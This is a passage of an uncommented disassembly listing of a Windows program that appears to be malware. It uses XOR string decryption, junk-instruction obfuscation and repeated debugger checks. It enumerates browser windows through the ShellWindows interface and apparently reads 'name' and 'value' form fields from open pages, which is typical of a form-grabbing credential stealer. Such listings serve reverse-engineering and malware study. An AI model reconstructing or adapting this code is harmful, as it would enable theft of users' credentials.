		lea	esi, aCurh	; "`CuRH"
		mov	ecx, 3
		rep movsw
		mov	[ebp+var_2CD+1], 4072h
		inc	[ebp+var_2CD+1]
		lea	eax, [ebp+var_3D6]
		push	eax
		push	[ebp+arg_4]
		call	sub_40523D
		add	esp, 8
		or	eax, eax
		jz	loc_406759
		call	sub_40C740	; GetCurrentThreadId
		push	0
		push	[ebp+arg_8]
		lea	eax, [ebp+var_3D6]
		push	eax
		call	sub_40C86C	; CopyFileA
		lea	edi, [ebp+var_3DF]
		lea	esi, aC		; "c "
		mov	ecx, 3
		rep movsb
		lea	eax, [ebp+var_14C]
		push	eax
		push	[ebp+arg_8]
		call	sub_401A7E
		mov	[ebp+var_3DC], eax
		call	sub_40C734	; GetCurrentProcessId
		push	[ebp+arg_8]
		call	sub_40C704	; DeleteFileA
		mov	[ebp+var_3D7], 18h
		movzx	eax, [ebp+var_3D7]
		imul	eax, 415h
		mov	[ebp+var_3D7], al
		push	offset aHtml	; "<HTML><!--"
		call	sub_40C95C	; lstrlen
		push	eax
		push	offset aHtml	; "<HTML><!--"
		push	[ebp+var_3DC]
		call	sub_40CC8C
		add	esp, 14h
		or	eax, eax
		jnz	short loc_406727
		push	offset aHtml	; "<HTML><!--"
		call	sub_40C95C	; lstrlen
		mov	edi, [ebp+var_14C]
		sub	edi, 3Ah
		push	edi
		mov	edi, eax
		add	edi, [ebp+var_3DC]
		push	edi
		push	[ebp+arg_8]
		call	sub_4051C3
		add	esp, 0Ch
		jmp	short loc_406742
; ---------------------------------------------------------------------------

loc_406727:				; CODE XREF: sub_4061F7+504j
		mov	eax, [ebp+var_14C]
		sub	eax, 40h
		push	eax
		push	[ebp+var_3DC]
		push	[ebp+arg_8]
		call	sub_4051C3
		add	esp, 0Ch

loc_406742:				; CODE XREF: sub_4061F7+52Ej
		push	[ebp+var_3DC]
		call	sub_40C884	; LocalFree
		mov	[ebp+var_14C], 2
		jmp	short loc_4067CE
; ---------------------------------------------------------------------------

loc_406759:				; CODE XREF: sub_4061F7+479j
		mov	[ebp+var_3DC], 14F0h
		inc	[ebp+var_3DC]
		mov	[ebp+var_14C], 1
		jmp	short loc_4067CE
; ---------------------------------------------------------------------------

loc_406775:				; CODE XREF: sub_4061F7+43Bj
		mov	[ebp+var_2CD+1], 789Bh
		mov	eax, 506Fh
		mul	[ebp+var_2CD+1]
		mov	[ebp-2D0h], eax
		mov	[ebp+var_2CD+1], eax
		and	[ebp+var_14C], 0
		jmp	short loc_4067CE
; ---------------------------------------------------------------------------

loc_40679F:				; CODE XREF: sub_4061F7+3E5j
		call	sub_40C740	; GetCurrentThreadId
		and	[ebp+var_14C], 0
		jmp	short loc_4067CE
; ---------------------------------------------------------------------------

loc_4067AD:				; CODE XREF: sub_4061F7+301j
		mov	dword ptr [ebp-2B8h], 1965h
		mov	eax, [ebp-2B8h]
		mov	edx, eax
		add	edx, eax
		mov	[ebp-2B8h], edx
		and	[ebp+var_14C], 0

loc_4067CE:				; CODE XREF: sub_4061F7+560j
					; sub_4061F7+57Cj ...
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_40C704	; DeleteFileA
		call	sub_40C854	; IsDebuggerPresent
		push	[ebp+arg_0]
		call	sub_40C884	; LocalFree
		call	sub_40C764	; RtlGetLastWin32Error
		push	0
		push	[ebp+var_260]
		call	sub_40C8FC	; TerminateProcess
		mov	ebx, 77CCh
		inc	ebx
		push	[ebp+var_260]
		call	sub_40C7AC	; CloseHandle
		mov	eax, [ebp+var_14C]

loc_406810:				; CODE XREF: sub_4061F7+131j
					; sub_4061F7+1E3j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4061F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406815	proc near		; CODE XREF: sub_406A40+ADp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 307h
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_442368
		lea	eax, ds:41C7C0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_8], 12Ah
		xor	edi, edi
		jmp	short loc_406862
; ---------------------------------------------------------------------------

loc_40684B:				; CODE XREF: sub_406815+4Fj
		mov	eax, dword_442368
		add	eax, edi
		lea	eax, ds:41C7C0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 16h
		mov	[eax], dl
		inc	edi

loc_406862:				; CODE XREF: sub_406815+34j
		cmp	edi, esi
		jl	short loc_40684B
		mov	[ebp+var_C], 3B6h
		mov	eax, dword_442368
		add	eax, esi
		mov	byte ptr ds:dword_41C7C0[eax], 0
		mov	edi, dword_442368
		inc	dword_442368
		mov	eax, dword_442368
		lea	eax, [eax+esi+2]
		mov	dword_442368, eax
		add	dword_442368, 2
		cmp	dword_442368, 0DD4h
		jle	short loc_4068B0
		and	dword_442368, 0

loc_4068B0:				; CODE XREF: sub_406815+92j
		mov	[ebp+var_10], 1F1h
		lea	eax, dword_41C7C0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_406815	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4068C1	proc near		; CODE XREF: sub_406D2E+141p
					; sub_406D2E+562p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1], 73h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		push	ebx
		call	sub_40C968	; lstrlenW
		mov	edi, eax
		call	sub_40C794	; GetProcessHeap
		push	0
		push	0
		push	1FFFh
		push	esi
		push	edi
		push	ebx
		push	0
		push	0
		call	sub_40C92C	; WideCharToMultiByte
		call	sub_40C764	; RtlGetLastWin32Error
		mov	byte ptr [esi+edi], 0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4068C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406911	proc near		; CODE XREF: sub_40696D+C1p

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C7D0	; GetVersion
		cmp	dword_442370, 0
		jz	short loc_406933
		mov	eax, dword_442370
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_406933:				; CODE XREF: sub_406911+15j
		lea	edi, [ebp+var_8]
		lea	esi, aWrIo	; " -wR`iO"
		movsd
		movsd
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	ebx, 1BD8h
		inc	ebx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, dword_442380
		mov	[ebp+var_C], eax
		call	sub_40BC74
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406911	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40696D	proc near		; CODE XREF: sub_406D2E+54p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_16		= byte ptr -16h
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C794	; GetProcessHeap
		mov	[ebp+var_6], 366h
		sub	[ebp+var_6], 7E1Dh
		and	dword ptr [ebx], 0
		and	dword ptr [ebx+4], 0
		push	0
		call	sub_40BC68
		call	sub_40C740	; GetCurrentThreadId
		lea	eax, [ebp+var_16]
		push	eax
		push	offset a9ba05972F6a811 ; "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
		call	sub_40BC5C
		mov	[ebp+var_4], eax
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setl	al
		mov	[ebp+var_24], eax
		test	eax, eax
		jnz	short loc_406A2D
		push	ebx
		push	offset dword_447B1C
		push	4
		push	0
		lea	eax, [ebp+var_16]
		push	eax
		call	sub_40BC50
		mov	[ebp+var_4], eax
		lea	edi, [ebp+var_1C]
		lea	esi, aCsbS	; "cSB>s"
		mov	ecx, 3
		rep movsw
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setl	al
		mov	[ebp+var_28], eax
		test	eax, eax
		jnz	short loc_406A2D
		mov	eax, dword_44238A
		mov	[ebp+var_20], eax
		mov	eax, ebx
		add	eax, 4
		push	eax
		push	offset dword_447B0C
		mov	eax, [ebx]
		push	dword ptr [ebx]
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	[ebp+var_4], eax
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setl	al
		mov	[ebp+var_2C], eax
		test	eax, eax
		jnz	short loc_406A2D
		xor	eax, eax
		inc	eax
		jmp	short loc_406A3B
; ---------------------------------------------------------------------------

loc_406A2D:				; CODE XREF: sub_40696D+4Fj
					; sub_40696D+86j ...
		push	ebx
		call	sub_406911
		pop	ecx
		call	sub_40C794	; GetProcessHeap
		xor	eax, eax

loc_406A3B:				; CODE XREF: sub_40696D+BEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40696D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A40	proc near		; CODE XREF: sub_406D2E+86p

var_1004A	= byte ptr -1004Ah
var_10044	= word ptr -10044h
var_10042	= byte ptr -10042h
var_1003C	= byte ptr -1003Ch
var_10034	= dword	ptr -10034h
var_1002F	= byte ptr -1002Fh
var_30		= dword	ptr -30h
var_29		= byte ptr -29h
var_28		= word ptr -28h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1004Ch
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_E], 0ADBh
		sub	[ebp+var_E], 2E5Bh
		cmp	dword_442374, 0FFFFh
		jz	short loc_406A6F
		and	dword_44236C, 0

loc_406A6F:				; CODE XREF: sub_406A40+26j
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, dword_44236C
		cmp	[ebp+arg_4], eax
		jz	loc_406C9D
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, [ebp+arg_4]
		mov	dword_44236C, eax
		cmp	dword_442370, 0
		jz	short loc_406ABF
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, dword_442370
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	[ebp+var_10044], 0D6h
		inc	[ebp+var_10044]
		and	dword_442370, 0

loc_406ABF:				; CODE XREF: sub_406A40+56j
		lea	edi, [ebp+var_1003C]
		lea	esi, word_44238E
		movsd
		movsd
		push	0FFFFh
		lea	eax, [ebp+var_1002F]
		push	eax
		push	[ebp+arg_4]
		call	sub_40C998	; GetWindowTextA
		call	sub_40C794	; GetProcessHeap
		push	1Bh
		push	offset unk_446F14
		call	sub_406815
		mov	edi, 0Eh
		sub	edi, dword_442364
		push	edi
		push	eax
		lea	edi, [ebp+var_1002F]
		push	edi
		call	sub_40181A
		add	esp, 14h
		cmp	eax, 0FFFFh
		jnz	short loc_406B45
		lea	edi, [ebp+var_1004A]
		lea	esi, word_442396
		mov	ecx, 3
		rep movsw
		and	dword_442370, 0
		mov	[ebp+var_10044], 1FF4h
		inc	[ebp+var_10044]
		jmp	loc_406C9D
; ---------------------------------------------------------------------------

loc_406B45:				; CODE XREF: sub_406A40+D3j
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		cmp	[ebp+var_C], 0
		jz	loc_406C9D
		call	sub_40C764	; RtlGetLastWin32Error
		or	ebx, ebx
		jnz	loc_406C9D
		call	sub_40C740	; GetCurrentThreadId
		and	[ebp+var_4], 0
		cmp	dword_442374, 0FFFFh
		jz	short loc_406BA8
		call	sub_40C854	; IsDebuggerPresent
		inc	dword_442374
		mov	eax, [ebp+var_C]
		cmp	dword_442374, eax
		jbe	short loc_406BA0
		and	dword_442374, 0

loc_406BA0:				; CODE XREF: sub_406A40+157j
		mov	eax, dword_442374
		mov	[ebp+var_4], eax

loc_406BA8:				; CODE XREF: sub_406A40+141j
					; sub_406A40+250j
		push	0
		call	sub_40CBD8
		pop	ecx
		mov	[ebp+var_28], 2
		mov	eax, [ebp+var_4]
		mov	[ebp+var_20], eax
		mov	dword_442374, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	esi, [ebp+var_28]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_0]
		mov	edi, [edi+4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	[ebp+var_8], 0E5h
		mov	eax, [ebp+var_8]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_8], edx
		or	ebx, ebx
		jnz	short loc_406C65
		push	offset dword_442370
		push	offset dword_447B2C
		mov	eax, [ebp+var_14]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		lea	edi, [ebp+var_10042]
		lea	esi, dword_44239C
		mov	ecx, 3
		rep movsw
		or	ebx, ebx
		jnz	short loc_406C65
		mov	[ebp+var_29], 22h
		sub	[ebp+var_29], 83h
		lea	eax, [ebp+var_10034]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		call	sub_40C740	; GetCurrentThreadId
		or	ebx, ebx
		jnz	short loc_406C65
		mov	dword_442374, 0FFFFh
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10034], eax
		jz	short loc_406C9D

loc_406C65:				; CODE XREF: sub_406A40+1B5j
					; sub_406A40+1E6j ...
		cmp	dword_442370, 0
		jz	short loc_406C79
		mov	eax, dword_442370
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]

loc_406C79:				; CODE XREF: sub_406A40+22Cj
		mov	[ebp+var_30], 48A1h
		add	[ebp+var_30], 7310h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_4], eax
		jb	loc_406BA8
		and	dword_442370, 0

loc_406C9D:				; CODE XREF: sub_406A40+3Cj
					; sub_406A40+100j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CA2	proc near		; CODE XREF: sub_406D2E+5E1p
					; sub_406D2E+62Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_4423AC
		lea	eax, ds:431C50h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_4], 0D2h
		xor	edi, edi
		jmp	short loc_406CE9
; ---------------------------------------------------------------------------

loc_406CCF:				; CODE XREF: sub_406CA2+49j
		mov	eax, dword_4423AC
		add	eax, edi
		lea	eax, ds:431C50h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0FDh
		mov	[eax], dl
		inc	edi

loc_406CE9:				; CODE XREF: sub_406CA2+2Bj
		cmp	edi, esi
		jl	short loc_406CCF
		mov	eax, dword_4423AC
		add	eax, esi
		mov	byte ptr ds:dword_431C50[eax], 0
		mov	edi, dword_4423AC
		add	dword_4423AC, 3
		mov	eax, dword_4423AC
		inc	eax
		add	eax, esi
		mov	dword_4423AC, eax
		cmp	eax, 0DC5h
		jle	short loc_406D24
		and	dword_4423AC, 0

loc_406D24:				; CODE XREF: sub_406CA2+79j
		lea	eax, dword_431C50[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_406CA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D2E	proc near		; CODE XREF: sub_407E49+69p

var_6381D	= byte ptr -6381Dh
var_6381C	= byte ptr -6381Ch
var_63816	= word ptr -63816h
var_63814	= dword	ptr -63814h
var_6380F	= byte ptr -6380Fh
var_62810	= dword	ptr -62810h
var_6280C	= dword	ptr -6280Ch
var_62808	= word ptr -62808h
var_62806	= word ptr -62806h
var_62804	= dword	ptr -62804h
var_62800	= word ptr -62800h
var_627F8	= dword	ptr -627F8h
var_627F0	= word ptr -627F0h
var_627E8	= dword	ptr -627E8h
var_627E0	= dword	ptr -627E0h
var_627DC	= dword	ptr -627DCh
var_627D8	= dword	ptr -627D8h
var_627D4	= byte ptr -627D4h
var_627D3	= byte ptr -627D3h
var_627CC	= word ptr -627CCh
var_627CA	= byte ptr -627CAh
var_627C4	= byte ptr -627C4h
var_627BF	= byte ptr -627BFh
var_627BC	= word ptr -627BCh
var_627BA	= byte ptr -627BAh
var_627B9	= byte ptr -627B9h
var_627B8	= dword	ptr -627B8h
var_627B3	= byte ptr -627B3h
var_626B4	= dword	ptr -626B4h
var_626B0	= dword	ptr -626B0h
var_626AC	= dword	ptr -626ACh
var_626A8	= word ptr -626A8h
var_626A0	= dword	ptr -626A0h
var_62694	= dword	ptr -62694h
var_62690	= dword	ptr -62690h
var_6268C	= dword	ptr -6268Ch
var_62688	= dword	ptr -62688h
var_62684	= dword	ptr -62684h
var_62680	= dword	ptr -62680h
var_6267C	= dword	ptr -6267Ch
var_62677	= byte ptr -62677h
var_62674	= dword	ptr -62674h
var_6266D	= byte ptr -6266Dh
var_5269E	= byte ptr -5269Eh
var_5269A	= word ptr -5269Ah
var_52698	= dword	ptr -52698h
var_52694	= dword	ptr -52694h
var_52690	= byte ptr -52690h
var_52688	= dword	ptr -52688h
var_52680	= word ptr -52680h
var_52678	= dword	ptr -52678h
var_52674	= dword	ptr -52674h
var_5266F	= byte ptr -5266Fh
var_5266E	= byte ptr -5266Eh
var_5266D	= byte ptr -5266Dh
var_52667	= dword	ptr -52667h
var_52663	= byte ptr -52663h
var_5265D	= byte ptr -5265Dh
var_52657	= byte ptr -52657h
var_52656	= byte ptr -52656h
var_52653	= byte ptr -52653h
var_5264E	= dword	ptr -5264Eh
var_52649	= byte ptr -52649h
var_52644	= dword	ptr -52644h
var_52640	= dword	ptr -52640h
var_5263C	= dword	ptr -5263Ch
var_52638	= byte ptr -52638h
var_5262D	= byte ptr -5262Dh
var_5262C	= dword	ptr -5262Ch
var_52626	= word ptr -52626h
var_52624	= word ptr -52624h
var_52622	= word ptr -52622h
var_5261F	= byte ptr -5261Fh
var_5261E	= byte ptr -5261Eh
var_5261D	= byte ptr -5261Dh
var_5261C	= dword	ptr -5261Ch
var_52618	= dword	ptr -52618h
var_52614	= dword	ptr -52614h
var_52610	= dword	ptr -52610h
var_52609	= byte ptr -52609h
var_52608	= dword	ptr -52608h
var_52604	= dword	ptr -52604h
var_525FE	= word ptr -525FEh
var_525FC	= dword	ptr -525FCh
var_525F6	= word ptr -525F6h
var_525F4	= dword	ptr -525F4h
var_525EE	= word ptr -525EEh
var_525EC	= dword	ptr -525ECh
var_525E8	= dword	ptr -525E8h
var_525E4	= dword	ptr -525E4h
var_525DF	= byte ptr -525DFh
var_524E0	= byte ptr -524E0h
var_524D8	= dword	ptr -524D8h
var_524CC	= dword	ptr -524CCh
var_524C8	= byte ptr -524C8h
var_39E28	= byte ptr -39E28h
var_21788	= word ptr -21788h
var_21786	= word ptr -21786h
var_21784	= dword	ptr -21784h
var_2177D	= byte ptr -2177Dh
var_1177E	= word ptr -1177Eh
var_1177C	= word ptr -1177Ch
var_10FAC	= dword	ptr -10FACh
var_10FA8	= dword	ptr -10FA8h
var_10FA4	= dword	ptr -10FA4h
var_10001	= byte ptr -10001h
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		mov	eax, 63820h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_525F6], 7310h
		movzx	eax, [ebp+var_525F6]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_525F6], ax
		push	offset aValue	; "value"
		call	sub_40BC2C
		mov	[ebp+var_10FA8], eax
		push	offset aName	; "name"
		call	sub_40BC2C
		mov	[ebp+var_10FAC], eax
		lea	eax, [ebp+var_52638]
		push	eax
		call	sub_40696D
		pop	ecx
		or	eax, eax
		jz	loc_407E44
		call	sub_40C764	; RtlGetLastWin32Error

loc_406D95:				; CODE XREF: sub_406D2E+9Aj
					; sub_406D2E+CBj ...
		push	0
		call	sub_40CBD8
		call	sub_40C854	; IsDebuggerPresent
		call	sub_40C9E0	; GetForegroundWindow
		mov	[ebp+var_52614], eax
		push	eax
		lea	eax, [ebp+var_52638]
		push	eax
		call	sub_406A40
		add	esp, 0Ch
		call	sub_40C7C4	; GetTickCount
		cmp	dword_442370, 0
		jz	short loc_406D95
		mov	[ebp+var_52618], 4FCAh
		sub	[ebp+var_52618], 3B66h
		lea	eax, [ebp+var_525F4]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		call	sub_40C854	; IsDebuggerPresent
		or	ebx, ebx
		jnz	short loc_406D95
		lea	eax, [ebp+var_525FC]
		push	eax
		push	offset dword_447ACC
		mov	eax, [ebp+var_525F4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	[ebp+var_5261C], 7776h
		add	[ebp+var_5261C], 6412h
		or	ebx, ebx
		jnz	loc_407E25
		call	sub_40C734	; GetCurrentProcessId
		lea	eax, [ebp+var_5263C]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		mov	[ebp+var_5261D], 4
		add	[ebp+var_5261D], 1
		or	ebx, ebx
		jnz	loc_407E02
		push	offset byte_41FB10
		push	[ebp+var_5263C]
		call	sub_4068C1
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_52644], edi
		mov	eax, [ebp+var_52614]
		mov	ds:dword_42FB14, eax
		lea	eax, [ebp+var_525FE]
		push	eax
		mov	eax, dword_442370
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+7Ch]
		mov	ebx, eax
		mov	[ebp+var_5261E], 74h
		add	[ebp+var_5261E], 1
		or	ebx, ebx
		jnz	loc_407E02
		cmp	[ebp+var_525FE], 0
		jnz	loc_407E02
		lea	edi, [ebp+var_52649]
		lea	esi, aObw8	; "oW8"
		mov	ecx, 5
		rep movsb
		mov	eax, dword_4423BB
		mov	[ebp+var_5264E+1], eax
		mov	[ebp+var_10001], 0
		mov	[ebp+var_2], 0
		lea	eax, [ebp+var_52604]
		push	eax
		mov	eax, [ebp+var_525FC]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		mov	[ebp+var_5261F], 10h
		movzx	eax, [ebp+var_5261F]
		imul	eax, 7B1Bh
		mov	[ebp+var_5261F], al
		or	ebx, ebx
		jnz	loc_407E02
		lea	edi, [ebp+var_52653]
		lea	esi, aQungz	; "QUnZ"
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+var_52640]
		push	eax
		mov	eax, [ebp+var_52604]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		call	sub_40C7C4	; GetTickCount
		or	ebx, ebx
		jnz	loc_407DED
		call	sub_40C854	; IsDebuggerPresent
		or	[ebp+var_524CC], 0FFFFFFFFh

loc_406F67:				; CODE XREF: sub_406D2E+B83j
		mov	[ebp+var_52622], 1C5h
		add	[ebp+var_52622], 47D9h
		and	[ebp+var_52608], 0
		and	[ebp+var_52610], 0
		cmp	[ebp+var_524CC], 0FFFFFFFFh
		jnz	short loc_406FD3
		call	sub_40C764	; RtlGetLastWin32Error
		lea	eax, [ebp+var_525E4]
		push	eax
		mov	eax, [ebp+var_525FC]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		lea	edi, [ebp+var_52678+1]
		lea	esi, aKxafL	; "KxAf+/L"
		movsd
		movsd
		or	ebx, ebx
		jnz	loc_40789F
		mov	[ebp+var_5266F], 40h
		add	[ebp+var_5266F], 3Ch
		jmp	loc_407112
; ---------------------------------------------------------------------------

loc_406FD3:				; CODE XREF: sub_406D2E+260j
		call	sub_40C734	; GetCurrentProcessId
		mov	[ebp+var_52680], 17h
		mov	eax, [ebp+var_524CC]
		mov	[ebp+var_52678], eax
		lea	eax, [ebp+var_52690]
		push	eax
		lea	eax, [ebp+var_52680]
		push	eax
		mov	eax, [ebp+var_52604]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		call	sub_40C7D0	; GetVersion
		lea	eax, [ebp+var_52608]
		push	eax
		push	offset dword_447AFC
		mov	eax, [ebp+var_52688]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_4423CD
		mov	[ebp+var_52694], eax
		or	ebx, ebx
		jnz	loc_40789F
		mov	[ebp+var_5266F], 2Eh
		movzx	eax, [ebp+var_5266F]
		imul	eax, 392Ch
		mov	[ebp+var_5266F], al
		lea	eax, [ebp+var_52610]
		push	eax
		mov	eax, [ebp+var_52608]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		call	sub_40C764	; RtlGetLastWin32Error
		or	ebx, ebx
		jz	short loc_4070AB
		call	sub_40C794	; GetProcessHeap
		mov	eax, [ebp+var_52608]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	[ebp+var_5269A], 1EB8h
		movzx	eax, [ebp+var_5269A]
		imul	eax, 4A7Ch
		mov	[ebp+var_5269A], ax
		jmp	loc_40789F
; ---------------------------------------------------------------------------

loc_4070AB:				; CODE XREF: sub_406D2E+348j
		lea	eax, [ebp+var_525E4]
		push	eax
		mov	eax, [ebp+var_52610]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, dword_4423D1
		mov	[ebp+var_52698], eax
		or	ebx, ebx
		jz	short loc_407112
		call	sub_40C854	; IsDebuggerPresent
		mov	eax, [ebp+var_52610]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	byte ptr [ebp+var_5269A+1], 67h
		sub	byte ptr [ebp+var_5269A+1], 4Ah
		mov	eax, [ebp+var_52608]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		lea	edi, [ebp+var_5269E]
		lea	esi, a4yk3	; "4Yk3"
		mov	ecx, 5
		rep movsb
		jmp	loc_40789F
; ---------------------------------------------------------------------------

loc_407112:				; CODE XREF: sub_406D2E+2A0j
					; sub_406D2E+39Fj
		lea	eax, [ebp+var_525EC]
		push	eax
		mov	eax, [ebp+var_525E4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		call	sub_40C764	; RtlGetLastWin32Error
		or	ebx, ebx
		jnz	loc_407D88
		mov	[ebp+var_52609], 0Ah
		movzx	eax, [ebp+var_52609]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_52609], al
		and	[ebp+var_21784], 0
		jmp	loc_40788D
; ---------------------------------------------------------------------------

loc_40715A:				; CODE XREF: sub_406D2E+B6Bj
		call	sub_40C740	; GetCurrentThreadId
		push	0
		call	sub_40CBD8
		pop	ecx
		call	sub_40C7C4	; GetTickCount
		mov	[ebp+var_626A8], 2
		mov	eax, [ebp+var_21784]
		mov	[ebp+var_626A0], eax
		lea	eax, [ebp+var_62694]
		push	eax
		lea	esi, [ebp+var_626A8]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_626A8]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_525E4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		lea	edi, [ebp+var_627BF]
		lea	esi, aB		; "~"
		mov	ecx, 3
		rep movsb
		or	ebx, ebx
		jnz	loc_407887
		lea	edi, [ebp+var_627C4]
		lea	esi, aZrsh	; "ZRSH"
		mov	ecx, 5
		rep movsb
		and	[ebp+var_626AC], 0
		lea	eax, [ebp+var_626AC]
		push	eax
		push	offset dword_447ADC
		mov	eax, [ebp+var_62694]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	[ebp+var_626B0], 4352h
		mov	eax, [ebp+var_626B0]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_626B0], edx
		or	ebx, ebx
		jnz	loc_407585
		lea	eax, [ebp+var_626B4]
		push	eax
		mov	eax, [ebp+var_626AC]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		lea	edi, [ebp+var_627CA]
		lea	esi, aTxnve	; "TxNe"
		mov	ecx, 3
		rep movsw
